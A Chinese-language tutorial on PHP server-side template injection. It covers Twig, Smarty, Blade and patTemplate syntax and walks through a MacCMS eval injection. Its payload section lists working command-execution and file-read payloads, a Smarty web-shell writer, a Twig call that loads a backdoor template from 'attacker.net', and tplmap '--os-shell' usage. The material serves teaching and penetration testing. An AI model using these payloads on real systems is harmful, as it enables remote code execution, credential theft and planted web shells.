基本介绍
在PHP中SSTI(Server-Side Template Injection)漏洞是指当应用程序使用用户提供的输入来动态渲染模板时未正确过滤或验证用户输入导致了模板注入漏洞,这种漏洞允许攻击者执行恶意代码或获取敏感信息,通常情况下SSTI漏洞发生在使用模板引擎的Web应用程序中,比如:Twig、Smarty和Blade等,当攻击者能够控制模板引擎所使用的模板代码时就可以利用SSTI漏洞进行攻击
模板引擎
Twig引擎
引擎介绍
Twig是一个流行的PHP模板引擎,其语法清晰简洁,易于学习和使用,Twig语法特征如下:
- 插值:Twig中使用{{ }}来表示插值,用于输出变量或表达式的值,例如:{{user.name}}
- 控制结构:Twig支持常见的控制结构,例如:if-else、for循环等,if-else结构用{% if condition %} ... {% else %} ... {% endif %}表示,而for循环用{% for item in items %} ... {% endfor %}表示
- 过滤器:Twig允许使用过滤器对变量进行处理,例如:{{ user.name | upper }} 表示将user.name变量转换为大写形式
- 继承:Twig支持模板继承,通过{% extends 'base.html' %}来引入父模板并使用{% block content %} ... {% endblock %}包裹子模板内容
- 注释:Twig使用{# ... #} 来添加注释,这样可以在模板中添加注释信息而不会影响渲染结果
简易示例
下面是一个Twig引擎的简易示例,我们首先引入Twig的自动加载文件,然后创建了一个模板环境(Environment),并通过该环境加载了名为index.html的模板文件并向该模板文件传递了一个名为name的变量
<?php
require_once 'vendor/autoload.php'; // 引入 Twig 的自动加载文件
use Twig\Environment;
use Twig\Loader\FilesystemLoader;
// 指定模板文件夹
$loader = new FilesystemLoader('path/to/templates');
// 创建 Twig 环境
$twig = new Environment($loader);
// 渲染模板
echo $twig->render('index.html', ['name' => 'John Doe']); // 将 name 变量传递给模板
?>
Smarty引擎
引擎介绍
Smarty是一个流行的PHP模板引擎,它提供了灵活且易于使用的语法,特点主要有以下几个:
- 插值:Smarty中使用{$variable}来表示插值,用于输出变量的值,例如:{$user.name}
- 控制结构:Smarty支持常见的控制结构,例如:if-else、for循环等,if-else结构用{if condition} ... {else} ... {/if}表示,而for循环用{foreach from=$items item=item} ... {/foreach}表示
- 变量修饰器:Smarty允许使用变量修饰器对变量进行处理,例如:{$user.name|upper}表示将user.name变量转换为大写形式
- 注释:Smarty使用 { ... } 来添加注释,这样可以在模板中添加注释信息而不会影响渲染结果
- 简易示例
- 下面是一个简易的Smarty引擎使用示例,我们首先引入了Smarty的文件,然后创建了一个Smarty对象,接着通过assign方法将name变量传递给模板,最后使用display方法渲染并显示名为index.tpl的模板
<?php
require('libs/Smarty.class.php'); // 引入Smarty的文件
$smarty = new Smarty(); // 创建Smarty对象
// 传递变量给模板
$smarty->assign('name', 'John Doe');
// 渲染模板
$smarty->display('index.tpl'); // 显示名为 index.tpl 的模板
?>
Blade引擎
基本介绍
Blade是Laravel框架中使用的一个流行的模板引擎,它提供了简洁而强大的语法,以下是关于Blade引擎的语法特点
- 插值:Blade中使用双花括号{{ }}来表示插值,用于输出变量的值,例如:
Hello, {{ $name }}!
- 控制结构:Blade支持常见的控制结构,例如:if-else、for循环等,if-else结构用@if(condition) ... @else ... @endif表示,而for循环用@foreach($array as $item) ... @endforeach表示
- 条件判断:Blade提供了方便的条件判断语法,例如:@unless(condition) ... @endunless表示除非条件为假时执行
- 注释:使用{{-- ... --}}来添加注释,这样可以在模板中添加注释信息而不会影响渲染结果
- 继承与包含:Blade支持模板的继承和包含,通过@extends('layout')来指定父模板,然后使用@section和@yield或@include来定义和引入子模板的内容
简易示例
<!-- layout.blade.php -->
<html>
<head>
<title>@yield('title')</title>
</head>
<body>
@section('content')
<p>Default content</p>
@show
</body>
</html>
<!-- page.blade.php -->
@extends('layout')
@section('title', 'Page Title')
@section('content')
<p>Page content</p>
@endsection
在上述简易示例中我们创建了两个模板文件,首先layout.blade.php定义了一个基本布局,其中使用@yield来定义一个占位符,该占位符可以被子模板填充,在page.blade.php中通过@extends指定了父模板并使用@section和@endsection定义了一个名为'content'的区块并填充了具体的内容
patTemplate
基本介绍
patTemplate是一个基于PHP的模板引擎,它提供了简单而直观的语法,以下是关于patTemplate引擎的语法特点以及一个简易的使用示例:
- 插值:patTemplate中使用占位符$var的表示插值,用于输出变量的值,例如:
Hello, $name!
- 条件判断:patTemplate支持条件判断结构,使用 ... 来表示,可以根据条件来控制是否输出某个区块
- 循环:patTemplate通过 ... 语法实现循环结构,可以遍历数组并重复输出相应区块
- 过器:patTemplate允许使用过滤器对变量进行处理,例如:$var|lowercase表示将变量转换为小写形式
- 注释:使用{# ... #}来添加注释,这样可以在模板中添加注释信息而不会影响渲染结果
简易示例
下面是parTemplate的一个简易使用示例,在上述示例中我们首先引入了patTemplate的文件,然后创建了一个patTemplate对象。接着使用setBasedir方法设置模板所在的目录,然后使用addVar方法添加变量到模板,例如:将 name变量设置为'John Doe',最后使用display方法显示名为index.tpl的模板
<?php
require_once('pat/patTemplate.php'); // 引入 patTemplate 的文件
// 创建 patTemplate 对象
$template = new patTemplate();
$template->setBasedir('path/to/templates'); // 设置模板所在目录
// 添加变量到模板
$template->addVar('name', 'John Doe');
// 显示模板
$template->display('index.tpl'); // 显示名为 index.tpl 的模板
?>
漏洞原理
模板注入漏洞是一种在使用模板引擎时可能出现的安全问题,它允许攻击者通过注入恶意代码来执行任意操作,在PHP中模板引擎通常会将模板代码和数据进行分离以提高开发效率和可维护性,模板引擎中的变量是通过特定语法表示的,例如:在Smarty中使用{$variable}来表示一个变量,当用户输入未经过滤或验证的数据直接嵌入到模板中并且模板引擎在渲染模板时没有对用户输入进行适当处理就会产生模板注入漏洞,攻击者可以构造恶意的输入并且通过注入模板中的代码来执行任意操作,比如:读取、修改或删除文件,执行系统命令等,以下是一个示例代码,使用Smarty模板引擎来演示模板注入漏洞,此时如果用户输入$user_input = '{$smarty->phpinfo()}'将导致phpinfo()函数被执行,从而产生模板注入漏洞:
<?php
require_once('smarty/Smarty.class.php');
$smarty = new Smarty;
$user_input = $_GET['input']; // 假设用户输入为:$user_input = '{$smarty->phpinfo()}';
$smarty->assign('user_input', $user_input);
// 在模板中使用用户输入
$smarty->display('template.tpl');
?>
载荷构造
在PHP中常用的模板引擎有以下几种:
- Twig:Twig是Symfony框架的默认模板引擎,也可以作为独立的PHP模板引擎使用,Twig采用简洁的语法,支持模板继承、自定义过滤器和函数等特性,它强调安全性和可维护性并提供了良好的文档和社区支持
- Smarty:Smarty是一个成熟、稳定且功能丰富的PHP模板引擎,它提供了很多高级功能,比如:缓存机制、模板继承、自定义函数等,它具有较高的性能和灵活性,被广泛应用于PHP项目中
- Blade:Blade是Laravel框架的默认模板引擎,但也可以单独使用,它提供了简洁的语法和许多方便的功能,比如:条件判断、循环、布局等,Blade还支持自定义指令和函数,可以根据需求进行扩展
- Plates:Plates是一个简单而灵活的模板引擎,它重视速度和简单性。Plates 遵循传统的 PHP 模板语法,没有复杂的标签和语法糖,易于上手和使用
下面是PHP中各大模板引擎常用的载荷构造:
Twing引擎
基础载荷:
{{7*7}}
{{7*'7'}} would result in 49
{{dump(app)}}
{{dump(_context)}}
{{app.request.server.all|join(',')}}
模板格式:
$output = $twig > render (
'Dear' . $_GET['custom_greeting'],
array("first_name" => $user.first_name)
);
$output = $twig > render (
"Dear {first_name}",
array("first_name" => $user.first_name)
);
文件读取:
"{{'/etc/passwd'|file_excerpt(1,30)}}"@
{{include("wp-config.php")}}
代码执行:
{{self}}
{{_self.env.setCache("ftp://attacker.net:2121")}}{{_self.env.loadTemplate("backdoor")}}
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}
{{['id']|filter('system')}}
{{[0]|reduce('system','id')}}
{{['id']|map('system')|join}}
{{['id',1]|sort('system')|join}}
{{['cat\x20/etc/passwd']|filter('system')}}
{{['cat$IFS/etc/passwd']|filter('system')}}
{{['id']|filter('passthru')}}
{{['id']|map('passthru')}}
通用载荷:
{{["id"]|map("system")|join(",")
{{["id", 0]|sort("system")|join(",")}}
{{["id"]|filter("system")|join(",")}}
{{[0, 0]|reduce("system", "id")|join(",")}}
{{{"<?php phpinfo();":"/var/www/html/shell.php"}|map("file_put_contents")}}
Smarty引擎
简易payload构造如下:
{$smarty.version}
{php}echo `id`;{/php} //smarty v3中已弃用
{Smarty_Internal_Write_File::writeFile($SCRIPT_NAME,"<?php passthru($_GET['cmd']); ?>",self::clearConfig())}
{system('ls')} //兼容v3
{system('cat index.php')} //兼容v3
漏洞案例
这里我们以苹果CMS中的模板注入为例进行演示,在MacCMS中用于渲染If语句的核心代码如下所示,从中可以看到如果我们要想进行代码注入,那么就需要去控制这里的$strif变量,而如果要控制$strif变量,我们就要控制$iar变量,要想控制$iar变量,我们就需要控制$this->H:
//MacCMS\inc\common\template.php L974
......
function ifex()
{
if (!strpos(",".$this->H,"{if-")) { return; }
$labelRule = buildregx('{if-([\s\S]*?):([\s\S]+?)}([\s\S]*?){endif-\1}',"is");
preg_match_all($labelRule,$this->H,$iar);
$arlen=count($iar[2]);
for($m=0;$m<$arlen;$m++){
$strn = $iar[1][$m];
$strif= asp2phpif( $iar[2][$m] ) ;
$strThen= $iar[3][$m];
$elseifFlag=false;
$labelRule2="{elseif-".$strn."";
$labelRule3="{else-".$strn."}";
if (strpos(",".$strThen,$labelRule2)>0){
$elseifArray=explode($labelRule2,$strThen);
$elseifArrayLen=count($elseifArray);
$elseifSubArray=explode($labelRule3,$elseifArray[$elseifArrayLen-1]);
$resultStr=$elseifSubArray[1];
@eval("if($strif){\$resultStr='$elseifArray[0]';\$elseifFlag=true;}");
if(!$elseifFlag){
for($elseifLen=1;$elseifLen<$elseifArrayLen-1;$elseifLen++){
$strElseif=getSubStrByFromAndEnd($elseifArray[$elseifLen],":","}","");
$strElseif=asp2phpif($strElseif);
$strElseifThen=getSubStrByFromAndEnd($elseifArray[$elseifLen],"}","","start");
$strElseifThen=str_replace("'","\'",$strElseifThen);
@eval("if($strElseif){\$resultStr='$strElseifThen'; \$elseifFlag=true;}");
if ($elseifFlag) {break;}
}
}
if(!$elseifFlag){
$strElseif0=getSubStrByFromAndEnd($elseifSubArray[0],":","}","");
$strElseif0=asp2phpif($strElseif0);
$strElseifThen0=getSubStrByFromAndEnd($elseifSubArray[0],"}","","start");
$strElseifThen0=str_replace("'","\'",$strElseifThen0);
@eval("if($strElseif0){\$resultStr='$strElseifThen0';\$elseifFlag=true;}");
}
$this->H=str_replace($iar[0][$m],$resultStr,$this->H);
}
else{
$ifFlag = false;
if (strpos(",".$strThen,$labelRule3)>0){
$elsearray=explode($labelRule3,$strThen);
$strThen1=$elsearray[0];
$strElse1=$elsearray[1];
@eval("if($strif){\$ifFlag=true;}else{\$ifFlag=false;}");
if ($ifFlag){ $this->H=str_replace($iar[0][$m],$strThen1,$this->H);} else {$this->H=str_replace($iar[0][$m],$strElse1,$this->H);}
}
else{
@eval("if($strif){\$ifFlag=true;}else{\$ifFlag=false;}");
if ($ifFlag){ $this->H=str_replace($iar[0][$m],$strThen,$this->H);} else { $this->H=str_replace($iar[0][$m],"",$this->H); }
}
}
}
unset($elsearray);
unset($elseifArray);
unset($iar);
if (strpos(",".$this->H,"{if-")) { $this->ifex(); }
}
......
这里我们首先对传入的变量处理过程进行一个简单的解析,从上面可以看到传进来的数据$this->H经过strpost进行判断处理,检测是否包含"{if-”,如果不包含则直接返回
if (!strpos(",".$this->H,"{if-")) { return; }
随后使用preg_match_all()函数进行正则匹配,把匹配到的结果赋值给$iar这个二维数组,进入for循环遍历数组,将$iar[2][$m]所指的元素传入asp2phpif()方法进行安全过滤,这里只是进行了一些简单的替换操作:
//MacCMS\inc\common\function.php
function asp2phpif($str)
{
$str= str_replace("not","!",$str);
$str= str_replace("==","=",$str);
$str= str_replace("=","==",$str);
$str= str_replace("<>","!=",$str);
$str= str_replace("and","&&",$str);
$str= str_replace("or","||",$str);
$str= str_replace("mod","%",$str);
return $str;
}
下面我们再来全局搜索一下ifex()函数在哪里被调用,从搜索结果中可以看到在入口文件中其实就已经发生对该函数的调用:
进入到对应的文件中可以看到这里的"$tpl->ifex();",不过很是好奇的一个点在于$this->H参数是从何而来?通过对各个点位找发现下面的"$m = be('get','m');"关键点并跟进:
<?php
/*
'软件名称:苹果CMS
'开发作者:MagicBlack 官方网站:http://www.maccms.com/
'--------------------------------------------------------
'适用本程序需遵循 CC BY-ND 许可协议
'这不是一个自由软件!您只能在不用于商业目的的前提下对程序代码进行修改和使用;
'不允许对程序代码以任何形式任何目的的再发布。
'--------------------------------------------------------
*/
if(!file_exists('inc/install.lock')) { echo '<script>location.href=\'install.php\';</script>';exit; }
define('MAC_MODULE','home');
require('inc/conn.php');
require(MAC_ROOT.'/inc/common/360_safe3.php');
$m = be('get','m');
if(strpos($m,'.')){ $m = substr($m,0,strpos($m,'.')); }
$par = explode('-',$m);
$parlen = count($par);
$ac = $par[0];
if(empty($ac)){ $ac='vod'; $method='index'; }
$colnum = array('id','pg','year','typeid','class','classid','src','num','aid','vid');
if($parlen>=2){
$method = $par[1];
for($i=2;$i<$parlen;$i+=2){
$tpl->P[trim($par[$i])] = in_array($par[$i],$colnum) ? intval($par[$i+1]) : chkSql(urldecode(trim($par[$i+1])));
}
}
if($tpl->P['pg']<1){ $tpl->P['pg']=1; }
if(!empty($tpl->P['cp'])){ $tpl->P['cp']=''; }
unset($colnum);
$tpl->initData();
$acs = array('vod','art','map','user','gbook','comment','label');
if(in_array($ac,$acs)){
$tpl->P['module'] = $ac;
include MAC_ROOT.'/inc/module/'.$ac.'.php';
}
else{
showErr('System','未找到指定系统模块');
}
unset($par);
unset($acs);
$tpl->ifex();
if(!empty($tpl->P['cp'])){ setPageCache($tpl->P['cp'],$tpl->P['cn'],$tpl->H); }
$tpl->run();
echo $tpl->H;
?>
再结合这里的"http://127.0.0.1/maccms/index.php?m=vod-search "请求格式可以了解到这里的$m =be('get','m')其实就是通过get请求获取m的参数,然后获取到的参数被explode()方法以-分割成数组传递给$par,取数组的第一个元素赋值给$ac,判断$ac所指的元素是否在$acs的数组中,如果存在的话就使用include包含/inc/module/目录下以$ac所指元素命名的php文件
function be($mode,$key,$sp=',')
{
ini_set("magic_quotes_runtime", 0);
$magicq= get_magic_quotes_gpc();
switch($mode)
{
case 'post':
$res=isset($_POST[$key]) ? $magicq?$_POST[$key]:@addslashes($_POST[$key]) : '';
break;
case 'get':
$res=isset($_GET[$key]) ? $magicq?$_GET[$key]:@addslashes($_GET[$key]) : '';
break;
case 'arr':
$arr =isset($_POST[$key]) ? $_POST[$key] : '';
if($arr==""){
$value="0";
}
else{
for($i=0;$i<count($arr);$i++){
$res=implode($sp,$arr);
}
}
break;
default:
$res=isset($_REQUEST[$key]) ? $magicq ? $_REQUEST[$key] : @addslashes($_REQUEST[$key]) : '';
break;
}
return $res;
}
随后我们根据构造的漏洞利用payload(http://127.0.0.1/maccms/index.php?m=vod-search&wd={if-x:phpinfo()}{endif-x}) 定位到vod.php文件,可以看到这里通过be("all","wd")获取用户传进来的wd的参数,传入chkSql方法,然后赋值给 $tpl->P["wd"]
//MacCMS\inc\module\vod.php
elseif($method=='search')
{
$tpl->C["siteaid"] = 15;
$wd = trim(be("all", "wd")); $wd = chkSql($wd);
if(!empty($wd)){ $tpl->P["wd"] = $wd; }
......
chkSql方法如下所示,这里仅是使用htmlEncode()方法对一些字符做了判空、转义处理
function chkSql($s)
{
if(empty($s)){ return ""; }
//$re = array('<','>','\'','\\',';');
//$to = array('<','>','"','"',';');
//return str_replace($re,$to,$s);
return htmlEncode($s);
}
HTMLEncode如下:
function htmlEncode($str)
{
if (!isN($str)){
$str = str_replace(chr(38), "&",$str);
$str = str_replace(">", ">",$str);
$str = str_replace("<", "<",$str);
$str = str_replace(chr(39), "'",$str);
$str = str_replace(chr(32), " ",$str);
$str = str_replace(chr(34), """,$str);
$str = str_replace(chr(9), " ",$str);
$str = str_replace(chr(13), "",$str);
$str = str_replace(chr(10), "<br />",$str);
}
return $str;
}
随后回到vod.php中继续向下看会发现这里通过$tpl->H加载文件vod_search.html然后展示给前端,这里的$colarr、$valarr两个参数数组经过str_replace()方法将vod_seach.html中的类似{page:des} 的字段替换成$tpl所指向的字段,漏洞导致的关键是这个$tpl->P["wd"]是我们前端可控的参数
$tpl->H = loadFile(MAC_ROOT_TEMPLATE."/vod_search.html");
$tpl->mark();
$tpl->pageshow();
$colarr = array('{page:des}','{page:key}','{page:now}','{page:order}','{page:by}','{page:wd}','{page:wdencode}','{page:pinyin}','{page:letter}','{page:year}','{page:starring}','{page:starringencode}','{page:directed}','{page:directedencode}','{page:area}','{page:areaencode}','{page:lang}','{page:langencode}','{page:typeid}','{page:typepid}','{page:classid}');
$valarr = array($tpl->P["des"],$tpl->P["key"],$tpl->P["pg"],$tpl->P["order"],$tpl->P["by"],$tpl->P["wd"],urlencode($tpl->P["wd"]),$tpl->P["pinyin"],$tpl->P["letter"],$tpl->P['year']==0?'':$tpl->P['year'],$tpl->P["starring"],urlencode($tpl->P["starring"]),$tpl->P["directed"],urlencode($tpl->P["directed"]),$tpl->P["area"],urlencode($tpl->P["area"]),$tpl->P["lang"],urlencode($tpl->P["lang"]),$tpl->P['typeid'],$tpl->P['typepid'] ,$tpl->P['classid'] );
$tpl->H = str_replace($colarr, $valarr ,$tpl->H);
unset($colarr,$valarr);
$linktype = $tpl->getLink('vod','search','',array('typeid'=>$tpl->P['typepid']));
$linkyear = $tpl->getLink('vod','search','',array('year'=>''));
$linkletter = $tpl->getLink('vod','search','',array('letter'=>''));
$linkarea = $tpl->getLink('vod','search','',array('area'=>''));
$linklang = $tpl->getLink('vod','search','',array('lang'=>''));
$linkclass = $tpl->getLink('vod','search','',array('classid'=>''));
执行完上面的赋值,回到index.php中下一步就调用ifex()方法
if($tpl->P['pg']<1){ $tpl->P['pg']=1; }
if(!empty($tpl->P['cp'])){ $tpl->P['cp']=''; }
unset($colnum);
$tpl->initData();
$acs = array('vod','art','map','user','gbook','comment','label');
if(in_array($ac,$acs)){
$tpl->P['module'] = $ac;
include MAC_ROOT.'/inc/module/'.$ac.'.php';
}
else{
showErr('System','未找到指定系统模块');
}
unset($par);
unset($acs);
$tpl->ifex();
if(!empty($tpl->P['cp'])){ setPageCache($tpl->P['cp'],$tpl->P['cn'],$tpl->H); }
$tpl->run();
echo $tpl->H;
随后通过for循环一次一次的匹配赋值给变量$strif,传入eval方法执行,这里构造payload的绕过正则表达式为:{if-([\s\S]?):([\s\S]+?)}([\s\S]?){endif-\1},其实我们构造这样的就可以:{if-dddd:phpinfo()}{endif-dddd}
function ifex()
{
if (!strpos(",".$this->H,"{if-")) { return; }
$labelRule = buildregx('{if-([\s\S]*?):([\s\S]+?)}([\s\S]*?){endif-\1}',"is");
preg_match_all($labelRule,$this->H,$iar);
$arlen=count($iar[2]);
for($m=0;$m<$arlen;$m++){
$strn = $iar[1][$m];
$strif= asp2phpif( $iar[2][$m] ) ;
$strThen= $iar[3][$m];
$elseifFlag=false;
$labelRule2="{elseif-".$strn."";
$labelRule3="{else-".$strn."}";
if (strpos(",".$strThen,$labelRule2)>0){
$elseifArray=explode($labelRule2,$strThen);
$elseifArrayLen=count($elseifArray);
$elseifSubArray=explode($labelRule3,$elseifArray[$elseifArrayLen-1]);
$resultStr=$elseifSubArray[1];
@eval("if($strif){\$resultStr='$elseifArray[0]';\$elseifFlag=true;}");
if(!$elseifFlag){
for($elseifLen=1;$elseifLen<$elseifArrayLen-1;$elseifLen++){
$strElseif=getSubStrByFromAndEnd($elseifArray[$elseifLen],":","}","");
$strElseif=asp2phpif($strElseif);
$strElseifThen=getSubStrByFromAndEnd($elseifArray[$elseifLen],"}","","start");
$strElseifThen=str_replace("'","\'",$strElseifThen);
@eval("if($strElseif){\$resultStr='$strElseifThen'; \$elseifFlag=true;}");
if ($elseifFlag) {break;}
}
}
if(!$elseifFlag){
$strElseif0=getSubStrByFromAndEnd($elseifSubArray[0],":","}","");
$strElseif0=asp2phpif($strElseif0);
$strElseifThen0=getSubStrByFromAndEnd($elseifSubArray[0],"}","","start");
$strElseifThen0=str_replace("'","\'",$strElseifThen0);
@eval("if($strElseif0){\$resultStr='$strElseifThen0';\$elseifFlag=true;}");
}
$this->H=str_replace($iar[0][$m],$resultStr,$this->H);
}
else{
$ifFlag = false;
if (strpos(",".$strThen,$labelRule3)>0){
$elsearray=explode($labelRule3,$strThen);
$strThen1=$elsearray[0];
$strElse1=$elsearray[1];
@eval("if($strif){\$ifFlag=true;}else{\$ifFlag=false;}");
if ($ifFlag){ $this->H=str_replace($iar[0][$m],$strThen1,$this->H);} else {$this->H=str_replace($iar[0][$m],$strElse1,$this->H);}
}
else{
@eval("if($strif){\$ifFlag=true;}else{\$ifFlag=false;}");
if ($ifFlag){ $this->H=str_replace($iar[0][$m],$strThen,$this->H);} else { $this->H=str_replace($iar[0][$m],"",$this->H); }
}
}
}
unset($elsearray);
unset($elseifArray);
unset($iar);
if (strpos(",".$this->H,"{if-")) { $this->ifex(); }
}
最终构造Payload如下:
http://127.0.0.1/maccms/index.php?m=vod-search&wd={if-x:phpinfo()}{endif-x}
检测工具
这里介绍几个用于检测模板注入风险的扫描工具集:
TInjA项目
TInjA(https://github.com/Hackmanit/TInjA )是一款用于测试网页模板注入漏洞的CLI工具,支持8种不同编程语言的44种最相关的模板引擎:
- Elixir:EEx
- Go:html/template、text/template
- .NET:DotLiquid、Fluid、Razor Engine、Scriban
- Java:Freemarker、Groovy、Thymeleaf、Velocity
- PHP:Blade、Latte、Mustache.php、Smarty、Twig
- Ruby:ERB、Erubi、Erubis、Haml、Liquid、Mustache、Slim
- Python:Chameleon、Cheetah3、Django、Jinja2、Mako、Pystache、SimpleTemplate Engine、Tornado
- JavaScript:Angular.js、Dot、EJS、Eta、Handlebars、Hogan.js、Mustache、Nunjucks、Pug、Twig.js、Underscore、Velocity.js、Vue.js
使用方式:
tinja url -u "http://example.com/?name=Kirlia" -H "Authentication: Bearer ey..."
tinja url -u "http://example.com/" -d "username=Kirlia" -c "PHPSESSID=ABC123..."
Tplmap项目
Tplmap()https://github.com/epinna/tplmap )通过多种沙盒转义技术协助利用代码注入和服务器端模板注入漏洞以访问底层操作系统,开发该工具及其测试套件是为了研究SSTI漏洞类并在web应用程序渗透测试中用作攻击性安全工具,它可以利用多种代码上下文和盲注入场景,它还支持Python、Ruby、PHP、Java和通用的非沙盒模板引擎中类似eval()的代码注入
使用方式:
python2.7 ./tplmap.py -u 'http://www.target.com/page?name=John*' --os-shell
python2.7 ./tplmap.py -u "http://192.168.56.101:3000/ti?user=*&comment=supercomment&link"
python2.7 ./tplmap.py -u "http://192.168.56.101:3000/ti?user=InjectHere*&comment=A&link" --level 5 -e jade
SSTImap项目
SSImap(https://github.com/vladko312/SSTImap )是一款渗透测试软件,它可以检查网站是否存在代码注入和服务器端模板注入漏洞并利用这些漏洞访问操作系统本身,该工具被开发用于SSTI检测和利用的交互式渗透测试工具并允许更先进的利用
使用方式:
python3 ./sstimap.py -u 'https://example.com/page?name=John' -s
python3 ./sstimap.py -u 'https://example.com/page?name=Vulnerable*&message=My_message' -l 5 -e jade
python3 ./sstimap.py -i -A -m POST -l 5 -H 'Authorization: Basic bG9naW46c2VjcmV0X3Bhc3N3b3Jk'
防御措施
- 沙盒化模板引擎:限制模板引擎的能力,以防止执行危险的操作或访问敏感资源
- 使用安全默认值:始终对模板中的变量提供默认值,以防止未经授权的模板注入
- 输入验证和过滤:对于用户提供的输入数据,进行严格的验证和过滤,确保只有合法和受信任的数据被接受和处理
文末小结
本篇文章我们主要介绍了SSTI漏洞的原理以及常用的注入载荷,随后通过简易的CMS的模板注入漏洞进行了分析介绍,最后我们介绍了模板注入检测工具并给出了几种用于防护模板注入的安全措施~